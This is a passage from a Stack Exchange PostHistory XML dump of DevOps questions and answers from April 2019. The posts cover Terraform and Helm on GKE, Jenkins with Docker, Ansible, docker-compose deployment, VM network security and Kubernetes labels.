one][1].&#xD;&#xA;&#xD;&#xA;Generally:&#xD;&#xA;Jenkins is good for CI related scheduling.&#xD;&#xA;But the truth is - CI should not be the focal point of users.&#xD;&#xA;CI should be &quot;transparent&quot; until something is broken.&#xD;&#xA;Thus making users &quot;aware&quot; of Jenkins (CI), and doing everything through it, unless business requirement is met by it (like company's product is being controlled/operated though Jenkins) - you should not do this. This kind of &quot;knowledge&quot; is not really serving the users.&#xD;&#xA;They need to be able to see where to look for information easily, not be specific application's advanced users.&#xD;&#xA;&#xD;&#xA;Think what happens when you decide to migrate from Jenkins to something else. you are hooked now.&#xD;&#xA;&#xD;&#xA;(it isn't necessarily bad, just be aware of it)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Pipeline+Aggregator+View" ContentLicense="CC BY-SA 4.0" />
  <row Id="21796" PostHistoryTypeId="24" PostId="4753" RevisionGUID="08e0069b-6709-4241-9735-8377b4c44ab9" CreationDate="2019-04-15T02:11:15.083" Comment="Proposed by 13450 approved by 40, 46 edit id of 983" ContentLicense="CC BY-SA 4.0" />
  <row Id="21797" PostHistoryTypeId="5" PostId="6555" RevisionGUID="e253c9d1-d013-48a8-9fd2-65d38757b15d" CreationDate="2019-04-15T02:11:17.963" UserId="13450" Comment="Improve description." Text="I have been trying to install Helm charts using Terraform in a cluster which operates in GKE. &#xD;&#xA;&#xD;&#xA;My question is in two parts:&#xD;&#xA;&#xD;&#xA; 1. Is it a good practice to use Terraform for installing Helm charts?&#xD;&#xA; 2. I have been getting this error when Terraform tries to install a Helm chart:&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&gt; helm_release.release_name: Get&#xD;&#xA;&gt; https://XX.XXX.XX.X/apis/extensions/v1beta1/namespaces/kube-system/deployments/tiller-deploy:&#xD;&#xA;&gt; dial tcp XX.XXX.XX.X:443: connect: connection refused&#xD;&#xA;&#xD;&#xA;Here is how I am configuring the Helm chart:&#xD;&#xA;&#xD;&#xA;    provider &quot;kubernetes&quot; {&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;      host     = &quot;${var.cluster-host}&quot;&#xD;&#xA;      username = &quot;${var.cluster-username}&quot;&#xD;&#xA;      password = &quot;${var.cluster-password}&quot;&#xD;&#xA;    &#xD;&#xA;      client_certificate     = &quot;${base64decode(var.cluster-client-cert)}&quot;&#xD;&#xA;      client_key             = &quot;${base64decode(var.cluster-client-key)}&quot;&#xD;&#xA;      cluster_ca_certificate = &quot;${base64decode(var.cluster-ca-certificate)}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;kubernetes_service_account&quot; &quot;tiller&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name      = &quot;tiller&quot;&#xD;&#xA;        namespace = &quot;kube-system&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;kubernetes_cluster_role_binding&quot; &quot;tiller&quot; {&#xD;&#xA;      metadata {&#xD;&#xA;        name = &quot;tiller&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      role_ref {&#xD;&#xA;        api_group = &quot;rbac.authorization.k8s.io&quot;&#xD;&#xA;        kind      = &quot;ClusterRole&quot;&#xD;&#xA;        name      = &quot;cluster-admin&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      # api_group has to be empty because of a bug:&#xD;&#xA;      # https://github.com/terraform-providers/terraform-provider-kubernetes/issues/204&#xD;&#xA;      subject {&#xD;&#xA;        api_group = &quot;&quot;&#xD;&#xA;        kind      = &quot;ServiceAccount&quot;&#xD;&#xA;        name      = &quot;tiller&quot;&#xD;&#xA;        namespace = &quot;kube-system&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    provider &quot;helm&quot; {&#xD;&#xA;      install_tiller  = true&#xD;&#xA;      service_account = &quot;tiller&quot;&#xD;&#xA;      namespace       = &quot;kube-system&quot;&#xD;&#xA;      kubernetes {&#xD;&#xA;          host     = &quot;${var.cluster-host}&quot;&#xD;&#xA;          username = &quot;${var.cluster-username}&quot;&#xD;&#xA;          password = &quot;${var.cluster-password}&quot;&#xD;&#xA;    &#xD;&#xA;          client_certificate     = &quot;${base64decode(var.cluster-client-cert)}&quot;&#xD;&#xA;          client_key             = &quot;${base64decode(var.cluster-client-key)}&quot;&#xD;&#xA;          cluster_ca_certificate = &quot;${base64decode(var.cluster-ca-certificate)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21798" PostHistoryTypeId="4" PostId="6555" RevisionGUID="e253c9d1-d013-48a8-9fd2-65d38757b15d" CreationDate="2019-04-15T02:11:17.963" UserId="13450" Comment="Improve description." Text="Installing Helm charts using Terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="21799" PostHistoryTypeId="24" PostId="6555" RevisionGUID="e253c9d1-d013-48a8-9fd2-65d38757b15d" CreationDate="2019-04-15T02:11:17.963" Comment="Proposed by 13450 approved by 40, 46 edit id of 982" ContentLicense="CC BY-SA 4.0" />
  <row Id="21800" PostHistoryTypeId="50" PostId="6614" RevisionGUID="fa67b224-4b89-45f2-a588-12707fd4f09a" CreationDate="2019-04-15T04:05:46.003" UserId="-1" />
  <row Id="21801" PostHistoryTypeId="2" PostId="6864" RevisionGUID="98622551-d1eb-4ea4-9567-c22795d18d7d" CreationDate="2019-04-15T07:42:54.907" UserId="13464" Text="I am not using packer yet, just looking through the documentation. Some VMs it supports can be built from iso images. The examples cover use cases where the ISO is available online through the `iso_url` key in the JSON description file. But, can Packer handle the cases where the iso file is compressed (e.g. https://example.com/images/image.iso.xz)?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21802" PostHistoryTypeId="1" PostId="6864" RevisionGUID="98622551-d1eb-4ea4-9567-c22795d18d7d" CreationDate="2019-04-15T07:42:54.907" UserId="13464" Text="Packer and compressed ISO images" ContentLicense="CC BY-SA 4.0" />
  <row Id="21803" PostHistoryTypeId="3" PostId="6864" RevisionGUID="98622551-d1eb-4ea4-9567-c22795d18d7d" CreationDate="2019-04-15T07:42:54.907" UserId="13464" Text="&lt;packer&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21804" PostHistoryTypeId="50" PostId="1821" RevisionGUID="3cd2dbaa-2d1b-4c06-a104-9fb26c53360a" CreationDate="2019-04-15T09:01:30.263" UserId="-1" />
  <row Id="21809" PostHistoryTypeId="5" PostId="6835" RevisionGUID="96721463-fcb5-4bef-b927-5203ea7cc501" CreationDate="2019-04-15T10:28:32.600" UserId="11327" Comment="more elegant" Text="Our company uses TFS 2018. We have an annoying issue when there is TFS back-up failed,it sends notifications to hell lot of people which are invalid or unncecessary users. This list is in the domain Admins. I can't delete them manually. &#xD;&#xA;&#xD;&#xA;Is there a script to delete the users or modify the sending list?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21810" PostHistoryTypeId="24" PostId="6835" RevisionGUID="96721463-fcb5-4bef-b927-5203ea7cc501" CreationDate="2019-04-15T10:28:32.600" Comment="Proposed by 11327 approved by 46 edit id of 984" ContentLicense="CC BY-SA 4.0" />
  <row Id="21811" PostHistoryTypeId="5" PostId="5437" RevisionGUID="c1527356-77ec-4674-8feb-1750963d1ec9" CreationDate="2019-04-15T10:28:36.400" UserId="13450" Comment="Improve description." Text="My Dockerfile looks something like this.&#xD;&#xA;&#xD;&#xA;    FROM mhart/alpine-node:8.11.3&#xD;&#xA;    &#xD;&#xA;    RUN mkdir -p /app&#xD;&#xA;    COPY ./ /app&#xD;&#xA;    &#xD;&#xA;    WORKDIR /app/build&#xD;&#xA;    &#xD;&#xA;    RUN yarn global add serve&#xD;&#xA;    CMD [&quot;serve&quot;, &quot;-l&quot;, &quot;3000&quot;]&#xD;&#xA;    &#xD;&#xA;    EXPOSE 3000&#xD;&#xA;&#xD;&#xA;And then JenkinsFile looks something like this.&#xD;&#xA;&#xD;&#xA;     node {&#xD;&#xA;      try {&#xD;&#xA;    &#xD;&#xA;        stage('Checkout source code') {&#xD;&#xA;            checkout scm&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Install packages') {&#xD;&#xA;          sh(&quot;docker run --rm -v `pwd`:/app -w /app node yarn install&quot;)&#xD;&#xA;          //sh(&quot;sudo chown -R jenkins: ./node_modules&quot;)&#xD;&#xA;        }&#xD;&#xA;    &#xD;&#xA;        stage('Set the enviroment variables') {&#xD;&#xA;          sh(&quot;echo set-env-variables&quot;)&#xD;&#xA;          }&#xD;&#xA;    &#xD;&#xA;        stage('Build static assets') {&#xD;&#xA;    &#xD;&#xA;          sh(&quot;docker run --rm -v `pwd`:/app -w /app node yarn build&quot;)&#xD;&#xA;        }&#xD;&#xA;      }}&#xD;&#xA;&#xD;&#xA;When I do run it on Jenkins,the console output says error Couldn't find a `package.json` file in &quot;/app&quot; and also it gives an `error sudo not found` even though I have added Jenkins `ALL=(ALL) NOPASSWD: ALL` to `/etc/sudoers` file.&#xD;&#xA;&#xD;&#xA;I run the commands listed in my Jenkinsfile on my terminal and they all work fine but when i run them on Jenkins , they dont work." ContentLicense="CC BY-SA 4.0" />
  <row Id="21812" PostHistoryTypeId="24" PostId="5437" RevisionGUID="c1527356-77ec-4674-8feb-1750963d1ec9" CreationDate="2019-04-15T10:28:36.400" Comment="Proposed by 13450 approved by 46 edit id of 985" ContentLicense="CC BY-SA 4.0" />
  <row Id="21813" PostHistoryTypeId="2" PostId="6866" RevisionGUID="2d633530-a7f8-417b-8916-53a46aa9f245" CreationDate="2019-04-15T10:59:58.243" UserId="13111" Text="`register` will always populate your registered var even when the task is skipped, e.g. you will end up with something like the following:&#xD;&#xA;&#xD;&#xA;```json&#xD;&#xA;&quot;kafkaip&quot;: {&#xD;&#xA;    &quot;changed&quot;: false,&#xD;&#xA;    &quot;skip_reason&quot;: &quot;Conditional result was False&quot;,&#xD;&#xA;    &quot;skipped&quot;: true&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Since only the commands differ depending on your env, I would store the command in a variable and then execute it, something like the following.&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: &quot;Set command for env &lt;&gt; QA&quot;&#xD;&#xA;  set_fact:&#xD;&#xA;    get_ip_command: &gt;-&#xD;&#xA;      aws cloudformation describe-stacks&#xD;&#xA;      --stack-name &quot;{{ stack_kafka }}&quot;&#xD;&#xA;      --query &quot;Stacks[*].Outputs[?OutputKey=='KafkaLink'].OutputValue&quot;&#xD;&#xA;  when:&#xD;&#xA;    - stack_kafka is defined&#xD;&#xA;    - ( deployment_env != &quot;QA&quot; )&#xD;&#xA;&#xD;&#xA;- name: &quot;Set command for env = QA&quot;&#xD;&#xA;  set_fact:&#xD;&#xA;    get_ip_command: &gt;-&#xD;&#xA;      aws ec2 describe-instances&#xD;&#xA;      --filter &quot;Name=tag:StackName,Values=KafkaCluster&quot;&#xD;&#xA;      --query 'Reservations[].Instances[].PrivateIpAddress'&#xD;&#xA;      --output text&#xD;&#xA;  when:&#xD;&#xA;    - stack_kafka is defined&#xD;&#xA;    - ( deployment_env == &quot;QA&quot; )&#xD;&#xA;&#xD;&#xA;- name: Get the Kafka InstancesPrivateIps&#xD;&#xA;  shell: &quot;{{ get_ip_command }}&quot;&#xD;&#xA;  register: kafkaip&#xD;&#xA;  when: stack_kafka is defined&#xD;&#xA;&#xD;&#xA;- name: Register kafka_host&#xD;&#xA;  set_fact:&#xD;&#xA;    kafka_host: &quot;{{ kafkaip.stdout }}&quot;&#xD;&#xA;  when: stack_kafka is defined&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;* **Note1**: there is an output redirection in your QA command which will prevent capturing the output as you wish, I left it out in my example.&#xD;&#xA;* **Note2**: I used `set_fact` to create the command variable but you can put that in your vars or your inventory to have a leaner playbook." ContentLicense="CC BY-SA 4.0" />
  <row Id="21814" PostHistoryTypeId="50" PostId="6554" RevisionGUID="26585263-3a86-4a3d-88e1-4b5de1477a44" CreationDate="2019-04-15T11:03:25.767" UserId="-1" />
  <row Id="21815" PostHistoryTypeId="2" PostId="6867" RevisionGUID="17bccc9c-7bca-4429-8ed7-07981cc96226" CreationDate="2019-04-15T13:47:52.667" UserId="13464" Text="I tried the dumbest approach, i.e. just to plug the iso.xz file into iso_url and see what happens. Of course, this failed (even after manipulating the iso extension key). &#xD;&#xA;&#xD;&#xA;What I ended up doing --- knowing a lot about Bash scripting, and not much about Packer, Go and the like --- is to wrap packer calls in a script that downloads and decompresses the image, then calls Packer on the decompressed image.&#xD;&#xA;&#xD;&#xA;I would be curious to know if there are more elegant approaches." ContentLicense="CC BY-SA 4.0" />
  <row Id="21816" PostHistoryTypeId="50" PostId="1832" RevisionGUID="c7735929-8f5d-4461-b5bc-3e59733ab8f8" CreationDate="2019-04-15T15:01:20.190" UserId="-1" />
  <row Id="21817" PostHistoryTypeId="2" PostId="6868" RevisionGUID="c11065e8-910c-4bee-8f33-3d305bbdbcf2" CreationDate="2019-04-15T15:16:47.210" UserId="13474" Text="# &#xD;&#xA;Hi, I'm trying to deploy my app to production with Docker, but I struggle a lot. Here is the structure from the root folder :  &#xD;&#xA;&#xD;&#xA;- a **server** folder : runs with Express on port 4000  &#xD;&#xA;- a **web** folder : a React app running on 3000 (locally), that needs to run on 80 on my server  &#xD;&#xA;- a **docker-compose.prod.yml** file in the root folder&#xD;&#xA;&#xD;&#xA;What I'm currently trying :  &#xD;&#xA;&#xD;&#xA; - the **docker-compose.prod.yml** is running a Postgres service (port 5432), as well as web and server's respective Dockerfile&#xD;&#xA; - a Dockerfile in both web and server folders&#xD;&#xA; - I `yarn build` both server and web folders locally and send everything on my server &#xD;&#xA; - on my server, I run `docker build -f web/Dockerfile.prod -t app_web ./web` and `docker build -f server/Dockerfile.prod -t app_server ./server` to build both images&#xD;&#xA; - finally, I run `docker-compose -f docker-compose.prod.yml up`&#xD;&#xA;&#xD;&#xA;**My problem :**  &#xD;&#xA;&#xD;&#xA;The `server` container throws `Error: Cannot find module '...'` although I run `yarn install --production` in its Dockerfile (it may be related to volumes?)&#xD;&#xA;&#xD;&#xA;Also, when I run `docker run -it -p 80:80 app_web` and `docker-compose up`, the web container acts differently when visiting my server IP address : in the first case, the app displays well, in the second case, a page is listing my web folder content (all files and folders)&#xD;&#xA; &#xD;&#xA;I'd really appreciate help as I'm a bit new to Docker in production (should I use docker machine? are my folders structure / docker-compose / Dockerfiles wrong?) &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**docker-compose.prod.yml** :&#xD;&#xA;```&#xD;&#xA;version: &quot;3&quot;&#xD;&#xA;services:&#xD;&#xA;  db:&#xD;&#xA;    image: postgres:latest&#xD;&#xA;    restart: on-failure&#xD;&#xA;    environment:&#xD;&#xA;      POSTGRES_DB: ${DB_NAME}&#xD;&#xA;      POSTGRES_USER: ${DB_NAME}&#xD;&#xA;      POSTGRES_PASSWORD: ${DB_PASSWORD}&#xD;&#xA;    ports:&#xD;&#xA;      - 5432:5432&#xD;&#xA;    volumes:&#xD;&#xA;      - ./.db/data:/var/lib/postgresql/data&#xD;&#xA;&#xD;&#xA;  server:&#xD;&#xA;    container_name: app_server&#xD;&#xA;    build:&#xD;&#xA;      context: ./server&#xD;&#xA;      dockerfile: Dockerfile.prod&#xD;&#xA;    volumes:&#xD;&#xA;      - ./server:/app/server&#xD;&#xA;    ports:&#xD;&#xA;      - 4000:4000&#xD;&#xA;    depends_on:&#xD;&#xA;      - db&#xD;&#xA;&#xD;&#xA;  web:&#xD;&#xA;    container_name: app_web&#xD;&#xA;    build:&#xD;&#xA;      context: ./web&#xD;&#xA;      dockerfile: Dockerfile.prod&#xD;&#xA;    volumes:&#xD;&#xA;      - ./web:/app/web&#xD;&#xA;    ports:&#xD;&#xA;      - 80:80&#xD;&#xA;    depends_on:&#xD;&#xA;      - db&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**server/Dockerfile.prod** :&#xD;&#xA;```&#xD;&#xA;FROM mhart/alpine-node:11 AS builder&#xD;&#xA;WORKDIR /app/server&#xD;&#xA;COPY package.json ./&#xD;&#xA;RUN yarn install --production&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;FROM mhart/alpine-node&#xD;&#xA;WORKDIR /app/server&#xD;&#xA;COPY --from=builder /app/server .&#xD;&#xA;CMD [&quot;node&quot;, &quot;/app/server/dist&quot;]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**web/Dockerfile.prod** :&#xD;&#xA;```&#xD;&#xA;FROM mhart/alpine-node:11 AS builder&#xD;&#xA;WORKDIR /app/web&#xD;&#xA;COPY package.json .&#xD;&#xA;RUN yarn install --production&#xD;&#xA;COPY . .&#xD;&#xA;&#xD;&#xA;FROM mhart/alpine-node&#xD;&#xA;RUN yarn global add serve&#xD;&#xA;WORKDIR /app/web&#xD;&#xA;COPY --from=builder /app/web/build .&#xD;&#xA;CMD [&quot;serve&quot;, &quot;-p&quot;, &quot;80&quot;, &quot;-s&quot;, &quot;.&quot;]&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21818" PostHistoryTypeId="1" PostId="6868" RevisionGUID="c11065e8-910c-4bee-8f33-3d305bbdbcf2" CreationDate="2019-04-15T15:16:47.210" UserId="13474" Text="How to deploy my Express/React app to server with docker-compose and Dockerfiles" ContentLicense="CC BY-SA 4.0" />
  <row Id="21819" PostHistoryTypeId="3" PostId="6868" RevisionGUID="c11065e8-910c-4bee-8f33-3d305bbdbcf2" CreationDate="2019-04-15T15:16:47.210" UserId="13474" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21820" PostHistoryTypeId="50" PostId="5184" RevisionGUID="8c6d8b4a-d1fe-4a90-8426-696686cda3cf" CreationDate="2019-04-15T17:05:46.060" UserId="-1" />
  <row Id="21821" PostHistoryTypeId="2" PostId="6869" RevisionGUID="0100f3c1-e814-485b-887d-c06dbe131647" CreationDate="2019-04-15T18:28:13.800" UserId="12294" Text="Using Docker with Jenkins in a situation like this is a great way to &#xD;&#xA;&#xD;&#xA; 1. Keep Jenkins worker slave nodes clean (so you don't have to build or install anything on them)&#xD;&#xA; 2. Have all dependencies and environment in an easily manageable artifact (in this case, a docker image is the snapshot of the exact OS, filesystem, env and dependencies) &#xD;&#xA; 3. Vendor / keep copies of dependencies at a certain point in time (Example: You don't want to update at the same rate as the dependency)&#xD;&#xA;&#xD;&#xA;If you have some kind of artifact management system (Example: Nexus) you can store your docker images in the artifact management system, and then pull them into Jenkins, and create a running container that has your repository in it. From there you can build project run tests inside the docker image. Just be sure you remember to move/copy all test results and built artifacts out of the docker container if you need them or use them later. &#xD;&#xA;&#xD;&#xA;If you need more details or specifics please edit your question and I will edit my answer accordingly." ContentLicense="CC BY-SA 4.0" />
  <row Id="21822" PostHistoryTypeId="50" PostId="5460" RevisionGUID="1804348d-83b6-4944-916b-439b307fc3b8" CreationDate="2019-04-15T19:00:18.460" UserId="-1" />
  <row Id="21823" PostHistoryTypeId="2" PostId="6870" RevisionGUID="d710c7f1-0d07-4e3d-8606-624123acd9ae" CreationDate="2019-04-15T20:58:33.923" UserId="13482" Text="you can use&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;aws ec2 describe-instances --instance-ids (your Instance id) --query &quot;Reservations[].Instances[].SecurityGroups[].GroupId[]&quot; --output text&lt;/pre&gt;&#xD;&#xA;replace &lt;pre&gt;(your instance id)&lt;/pre&gt; with the specific instance id you are looking for." ContentLicense="CC BY-SA 4.0" />
  <row Id="21824" PostHistoryTypeId="50" PostId="6629" RevisionGUID="32645ada-8edf-41e3-b9d5-a989653d1d13" CreationDate="2019-04-15T21:02:25.490" UserId="-1" />
  <row Id="21825" PostHistoryTypeId="50" PostId="5197" RevisionGUID="929aa55a-3525-4d3b-834d-cb9554aca7f8" CreationDate="2019-04-15T23:01:30.537" UserId="-1" />
  <row Id="21826" PostHistoryTypeId="50" PostId="4386" RevisionGUID="f06346ac-b4ce-4828-8222-000153956cc4" CreationDate="2019-04-16T00:03:45.843" UserId="-1" />
  <row Id="21827" PostHistoryTypeId="50" PostId="4332" RevisionGUID="73491492-cb01-49bf-90e8-830eba9d4ea9" CreationDate="2019-04-16T09:03:05.637" UserId="-1" />
  <row Id="21831" PostHistoryTypeId="2" PostId="6872" RevisionGUID="0f072966-ef97-4fb9-b943-1bc2eb9bbab8" CreationDate="2019-04-16T09:51:08.050" UserId="13474" Text="I found the solution, eventually it was just a volume issue, I had to add a specific line for modules :  &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;volumes:&#xD;&#xA;      - ./server:/app/server&#xD;&#xA;      - /app/server/node_modules&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;After that I no longer got the &quot;Can't find module&quot; error  &#xD;&#xA;Still not sure what the impact of this is though" ContentLicense="CC BY-SA 4.0" />
  <row Id="21833" PostHistoryTypeId="50" PostId="4987" RevisionGUID="f099168d-5810-498e-9f54-359589d46c20" CreationDate="2019-04-16T11:01:30.230" UserId="-1" />
  <row Id="21837" PostHistoryTypeId="2" PostId="6874" RevisionGUID="958d1ff5-ee61-41cd-b735-1183314b88d9" CreationDate="2019-04-16T15:32:55.137" UserId="13490" Text="I am working on an application that requires a number of different services (web application + database + worker queues, XMPP server for messaging, redis, central authentication via LDAP, etc). For my first attempt at designing the thing, I am estimating that I will need ~15 instances of varying sizes: more RAM/SSD for the database, less so for web server and LDAP, more cores for the worker queues, and so on.&#xD;&#xA;&#xD;&#xA;I don't want to use the big cloud Providers (AWS, Azure, GCP) for matters of cost. This is something I am still bootstrapping and GCP pricing calculator put this at ~$5800/month. A similar (in terms of CPU/RAM/SSD) spec in Hetzner cloud would be ~$430/month.&#xD;&#xA;&#xD;&#xA;Of course, the difference in price also comes with some difference in features. Hetzner Cloud VM instances do not have any sort of private networking. So I am wondering how I can ensure that all those machines can be effectively protected from the public internet. Some of these services (web server, xmpp server) should also have a public IP, but ideally all other services should have all ports closed (including SSH)&#xD;&#xA;&#xD;&#xA;I know that one of the answers is &quot;build your own OpenVPN AS&quot;. However, (a) I never done it before and (b) I am under the impression this would mean yet more services to add to this infrastructure.&#xD;&#xA;&#xD;&#xA;One thing I *did* do before was to connect machines via [spiped](https://www.tarsnap.com/spiped.html). This does not give you a private network but at least ensures that only those with the key can connect to your public-facing machines.&#xD;&#xA;&#xD;&#xA;So my question is: am I missing some alternative to these two above?&#xD;&#xA;&#xD;&#xA;Also: docker. I have limited experience with Docker and Kubernetes, but if I went this route it seems I would end up going to the arms of the big providers, not to mention it would still be yet-another thing to learn and take time from my application development. Is Docker Swarm something that could solve this requirement?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21838" PostHistoryTypeId="1" PostId="6874" RevisionGUID="958d1ff5-ee61-41cd-b735-1183314b88d9" CreationDate="2019-04-16T15:32:55.137" UserId="13490" Text="Securing communication between cloud VMs without private networks. Any strategy besides building own VPN? Spiped?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21839" PostHistoryTypeId="3" PostId="6874" RevisionGUID="958d1ff5-ee61-41cd-b735-1183314b88d9" CreationDate="2019-04-16T15:32:55.137" UserId="13490" Text="&lt;security&gt;&lt;cloud&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21841" PostHistoryTypeId="2" PostId="6875" RevisionGUID="ba90af09-379f-4826-8dff-e375d467452e" CreationDate="2019-04-16T15:58:01.657" UserId="9488" Text="In the below deployment yml, the deployment itself has a label &quot;app: hello&quot;. What would happen if I delete that line (line 6)?&#xD;&#xA;&#xD;&#xA;I understand the functional need for _pods_ to be labeled, because then the deployment can reference those pods by labels. In the below example, that means that I understand why lines 11-12 and 16-17 exist. But that doesn't answer why the _deployment_ should be labeled.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: helloweb&#xD;&#xA;  labels:&#xD;&#xA;    app: hello&#xD;&#xA;spec:&#xD;&#xA;  replicas: 1&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: hello&#xD;&#xA;      tier: web&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: hello&#xD;&#xA;        tier: web&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: hello-app&#xD;&#xA;          image: registry.gitlab.com/itential/cloud-team/applications/hello-app&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 8080&#xD;&#xA;      imagePullSecrets:&#xD;&#xA;        - name: gitlab-reg&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="21842" PostHistoryTypeId="1" PostId="6875" RevisionGUID="ba90af09-379f-4826-8dff-e375d467452e" CreationDate="2019-04-16T15:58:01.657" UserId="9488" Text="Why label k8s deployment?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21843" PostHistoryTypeId="3" PostId="6875" RevisionGUID="ba90af09-379f-4826-8dff-e375d467452e" CreationDate="2019-04-16T15:58:01.657" UserId="9488" Text="&lt;kubernetes&gt;&lt;deployment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21847" PostHistoryTypeId="2" PostId="6877" RevisionGUID="78a32114-e8fa-4b06-bbf6-292fd3674905" CreationDate="2019-04-16T19:26:58.923" UserId="13499" Text="Devilbox comes with a docker-compose file to run a docker container:&#xD;&#xA;https://github.com/cytopia/devilbox&#xD;&#xA;&#xD;&#xA;However, on the GCP Kubernetes Engine it is only possible to start up a new container via a Dockerfile. I searched for a translation/conversion tool of the docker-compose file to a Dockerfile. I could not find an easy way and also read that this is not the go to approach. Is there a way to let it run in the Kubernetes Engine or do I have to create a manual instance, upload and run the code manually?&#xD;&#xA;Any other approaches?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21848" PostHistoryTypeId="1" PostId="6877" RevisionGUID="78a32114-e8fa-4b06-bbf6-292fd3674905" CreationDate="2019-04-16T19:26:58.923" UserId="13499" Text="How to run/deploy devilbox (Docker image) docker-compose on GCP without a Dockerfile?" ContentLicense="CC BY-SA 4.0" />
  <row Id="21849" PostHistoryTypeId="3" PostId="6877" RevisionGUID="78a32114-e8fa-4b06-bbf6-292fd3674905" CreationDate="2019-04-16T19:26:58.923" UserId="13499" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;deployment&gt;&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21850" PostHistoryTypeId="2" PostId="6878" RevisionGUID="acb4939b-8686-4604-ab5d-69cd1a31a8b1" CreationDate="2019-04-16T21:02:21.207" UserId="3164" Text="Labels lets you as user query for particular objects; from the [docs][1]:&#xD;&#xA;&#xD;&#xA;&gt; Labels enable users to map their own organizational structures onto system objects in a loosely coupled fashion, without requiring clients to store these mappings.&#xD;&#xA;&#xD;&#xA;For example if you use some kind of deployment tool like Spinnaker; the tool labels every single object that it touched so it knows about it - can manage it.&#xD;&#xA;&#xD;&#xA;When you query for a label you can use [equality-based operators (`=`, `==` and `!=`)][2]. K8s doc should be good starting point, alternatively check out [this article][3] on labels.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#motivation&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/overview/working-with-objects/labels/#equality-based-requirement&#xD;&#xA;  [3]: https://medium.com/mayadata/kubernetes-label-selector-and-field-selector-81d6967bb2f" ContentLicense="CC BY-SA 4.0" />
  <row Id="21851" PostHistoryTypeId="50" PostId="3081" RevisionGUID="94b7d0ac-b741-428d-a0b1-f427591a98ce" CreationDate="2019-04-16T21:03:10.677" UserId="-1" />
  <row Id="21855" PostHistoryTypeId="50" PostId="6627" RevisionGUID="a8e3f6a9-b0d8-4e51-a39e-bbd68200cdfe" CreationDate="2019-04-16T23:03:40.703" UserId="-1" />
  <row Id="21856" PostHistoryTypeId="2" PostId="6880" RevisionGUID="5c211404-f0c2-419e-ba25-580af4e81e37" CreationDate="2019-04-17T00:10:41.077" UserId="13503" Text="While this question could be posed in a vendor agnostic fashion - I'll gear it around Github and Azure to give it some context.&#xD;&#xA;&#xD;&#xA;I am planning an open-source project, in a sensitive business domain (banking). As such, I feel it would be important for users who download and install it to be able to verify the provenance of the binary - through some kind of independently tracked &quot;chain of custody&quot; - tracing it back to the actual source code label that the CI process consumed.&#xD;&#xA;&#xD;&#xA;How is this currently achieved? If at all? Are there any known mechanisms/practices for this?&#xD;&#xA;&#xD;&#xA;What I imagine, is a publicly visible landing page in Azure DevOps, hosted by Microsoft (unable to tampered by anyone, not even the project owner) - which maps the installation binary hash to the source control label thumbprint. This would allow the user to trust that the binary in their possession is guaranteed to be the product of the code they are auditing." ContentLicense="CC BY-SA 4.0" />
  <row Id="21857" PostHistoryTypeId="1" PostId="6880" RevisionGUID="5c211404-f0c2-419e-ba25-580af4e81e37" CreationDate="2019-04-17T00:10:41.077" UserId="13503" Text="Validating release artifact provinence" ContentLicense="CC BY-SA 4.0" />
  <row Id="21858" PostHistoryTypeId="3" PostId="6880" RevisionGUID="5c211404-f0c2-419e-ba25-580af4e81e37" CreationDate="2019-04-17T00:10:41.077" UserId="13503" Text="&lt;release-management&gt;" ContentLicense="CC BY-SA 4.0" />
